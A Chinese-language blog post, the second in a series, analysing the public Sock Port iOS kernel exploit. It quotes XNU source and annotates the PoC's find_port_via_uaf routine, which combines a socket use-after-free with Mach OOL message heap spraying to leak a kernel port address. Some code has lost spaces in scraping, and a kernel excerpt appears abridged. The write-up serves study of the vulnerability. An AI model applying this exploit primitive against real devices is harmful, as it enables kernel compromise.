Sock Port 漏洞解析(二)通过 Mach OOL Message 泄露 Port Address
前言
在上一篇文章中,我们初步介绍了 UAF 原理,并提到了 iOS 10.0 - 12.2 的 Socket 代码中含有一个针对 in6p_outputopts 的 UAF Exploit,它是整个 Sock Port 漏洞的关键。从这篇文章开始,我们将逐行分析 Sock Port 2 的 Public PoC 源码,并结合 XNU 源码进行深入分析和解释。
Mach port 是什么
定义
在介绍 Sock Port 之前,我们需要先引入 Mach port 的概念[1]:
Mach ports are a kernel-provided inter-process communication (IPC) mechanism used heavily throughout the operating system. A Mach port is a unidirectional, kernel-protected channel that can have multiple send endpoints and only one receive endpoint.
即 Mach ports 是内核提供的进程间通信机制,它被操作系统频繁的使用。一个 Mach port 是一个受内核保护的单向管道,它可以有多个发送端,但只能有一个接收端。
Mach port 对应的内核对象
Mach port 在用户态以 mach_port_t 句柄的形式存在,在内核空间中每个 mach_port_t 句柄都有相对应的内核对象 ipc_port:
structtask { // ... /* Virtual address space */ vm_map_tmap; /* Address space description */ queue_chain_t tasks; /* global list of tasks */ // ... /* Threads in this task */ queue_head_t threads; // ... /* Port right namespace */ structipc_space *itk_space; /* Proc info */ void *bsd_info; // ...
漏洞的第一个关键是获取到当前进程的 Task port 地址,这也是本文重点分析的内容。常规情况下,在用户态我们只能拿到 Task port 的句柄,若要拿到地址,有两个思路:
泄露当前进程的 port 索引表,并通过句柄查询 port 的实际地址;
通过某种方式迫使内核分配 Task port 的指针到我们可读的内核区域,即 UAF 方式。
事实上当前进程的 port 索引表是被 Task port 所间接引用的,即常规情况下我们需要先知道 Task port address 才能获取到 port 索引表的位置,因此方式 1 不可行。实现方式 2 的关键点有两个:UAF & 分配 Task port pointer,前者已经通过 Socket UAF 满足,现在只差后者。
迫使内核分配 Task port pointer
在 Sock Port 中有一段关键代码,用于为指定的 target port 句柄在内核中分配可控数量的 ipc_port 指针:
/* * LP64support - * Pad the allocation in case we need to expand the * message descrptors for user spaces with pointers larger than * the kernel's own, or vice versa. We don't know how many descriptors * there are yet, so just assume the whole body could be * descriptors (if there could be any at all). * * The expansion space is left in front of the header, * because it is easier to pull the header and descriptors * forward as we process them than it is to push all the * data backwards. */
mach_msg_return_t ipc_kmsg_copyin_body( ipc_kmsg_t kmsg, ipc_space_t space, vm_map_tmap, mach_msg_option_t *optionp) { ipc_object_t dest; mach_msg_body_t *body; mach_msg_descriptor_t *user_addr, *kern_addr; mach_msg_type_number_t dsc_count; boolean_t is_task_64bit = (map->max_offset > VM_MAX_ADDRESS); boolean_tcomplex = FALSE; vm_size_t space_needed = 0; vm_offset_t paddr = 0; vm_map_copy_t copy = VM_MAP_COPY_NULL; mach_msg_type_number_t i; mach_msg_return_t mr = MACH_MSG_SUCCESS; // 1. init descriptor size vm_size_t descriptor_size = 0; dest = (ipc_object_t) kmsg->ikm_header->msgh_remote_port; body = (mach_msg_body_t *) (kmsg->ikm_header + 1); dsc_count = body->msgh_descriptor_count; /* * Make an initial pass to determine kernal VM space requirements for * physical copies and possible contraction of the descriptors from * processes with pointers larger than the kernel's. */ daddr = NULL; for (i = 0; i < dsc_count; i++) { /* make sure the descriptor fits in the message */ descriptor_size += 16; } /* * Allocate space in the pageable kernel ipc copy map for all the * ool data that is to be physically copied. Map is marked wait for * space. */ if (space_needed) { if (vm_allocate_kernel(ipc_kernel_copy_map, &paddr, space_needed, VM_FLAGS_ANYWHERE, VM_KERN_MEMORY_IPC) != KERN_SUCCESS) { mr = MACH_MSG_VM_KERNEL; goto clean_message; } } /* user_addr = just after base as it was copied in */ user_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t)); // 2. pull header forward if needed /* Shift the mach_msg_base_t down to make room for dsc_count*16bytes of descriptors */ if (descriptor_size != 16 * dsc_count) { vm_offset_t dsc_adjust = 16 * dsc_count - descriptor_size; memmove((char *)(((vm_offset_t)kmsg->ikm_header) - dsc_adjust), kmsg->ikm_header, sizeof(mach_msg_base_t)); kmsg->ikm_header = (mach_msg_header_t *)((vm_offset_t)kmsg->ikm_header - dsc_adjust); /* Update the message size for the larger in-kernel representation */ kmsg->ikm_header->msgh_size += (mach_msg_size_t)dsc_adjust; } /* kern_addr = just after base after it has been (conditionally) moved */ kern_addr = (mach_msg_descriptor_t *)((vm_offset_t)kmsg->ikm_header + sizeof(mach_msg_base_t)); // 3. copy ool ports to kernel zone /* handle the OOL regions and port descriptors. */ for (i = 0; i < dsc_count; i++) { user_addr = ipc_kmsg_copyin_ool_ports_descriptor((mach_msg_ool_ports_descriptor_t *)kern_addr, user_addr, is_task_64bit, map, space, dest, kmsg, optionp, &mr); kern_addr++; complex = TRUE; } if (!complex) { kmsg->ikm_header->msgh_bits &= ~MACH_MSGH_BITS_COMPLEX; } return mr;
ipc_entry_t ipc_entry_lookup( ipc_space_t space, mach_port_name_t name) { mach_port_index_t index; ipc_entry_t entry; assert(is_active(space)); // 1. get index from port name index = name >> 8; if (index < space->is_table_size) { // 2. get port address by index from is_table entry = &space->is_table[index]; if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) || IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE) { entry = IE_NULL; } } else { entry = IE_NULL; } assert((entry == IE_NULL) || IE_BITS_TYPE(entry->ie_bits)); return entry; }
从这里我们可以看到,port 句柄中的索引信息是从第 8 位开始的,因此将 port name 右移 8 位即可得到 port index,随后在索引表中查找地址返回。
到这里我们已经全然明白了为何能通过发送 Mach OOL Message 实现迫使内核分配指定 port 的 ipc_port pointers 的原理,接下来我们着手分析如何获取到这个地址。
通过 OOL Message 与 Socket UAF 获取 Port Address
到这里思路变得十分明确,我们只需要利用 Socket UAF 得到一块已释放区域,然后发送大量的 OOL Message 消息,且使得 port 数组与被释放区域大小一致,即可通过 Heap Spraying 将 ipc_port pointer 数组分配在已释放区域,下面我们来看 Sock Port 中的这段代码:
// first primitive: leak the kernel address of a mach port uint64_tfind_port_via_uaf(mach_port_t port, int disposition){ // here we use the uaf as an info leak // 1. make dangling socket option zone int sock = get_socket_with_dangling_options(); for (int i = 0; i < 0x10000; i++) { // since the UAFd field is 192 bytes, we need 192/sizeof(uint64_t) pointers // 2. send ool message mach_port_t p = fill_kalloc_with_port_pointer(port, 192/sizeof(uint64_t), MACH_MSG_TYPE_COPY_SEND); int mtu; int pref; // 3. get option and check if it is a kernel pointer get_minmtu(sock, &mtu); // this is like doing rk32(options + 180); get_prefertempaddr(sock, &pref); // this like rk32(options + 184); // since we wrote 192/sizeof(uint64_t) pointers, reading like this would give us the second half of rk64(options + 184) and the fist half of rk64(options + 176) /* from a hex dump: (lldb) p/x HexDump(options, 192) XX XX XX XX F0 FF FF FF XX XX XX XX F0 FF FF FF | ................ ... XX XX XX XX F0 FF FF FF XX XX XX XX F0 FF FF FF | ................ |-----------||-----------| minmtu here prefertempaddr here */ // the ANDing here is done because for some reason stuff got wrong. say pref = 0xdeadbeef and mtu = 0, ptr would come up as 0xffffffffdeadbeef instead of 0x00000000deadbeef. I spent a day figuring out what was messing things up uint64_t ptr = (((uint64_t)mtu << 32) & 0xffffffff00000000) | ((uint64_t)pref & 0x00000000ffffffff); if (mtu >= 0xffffff00 && mtu != 0xffffffff && pref != 0xdeadbeef) { mach_port_destroy(mach_task_self(), p); close(sock); return ptr; } mach_port_destroy(mach_task_self(), p); } // close that socket. close(sock); return0; }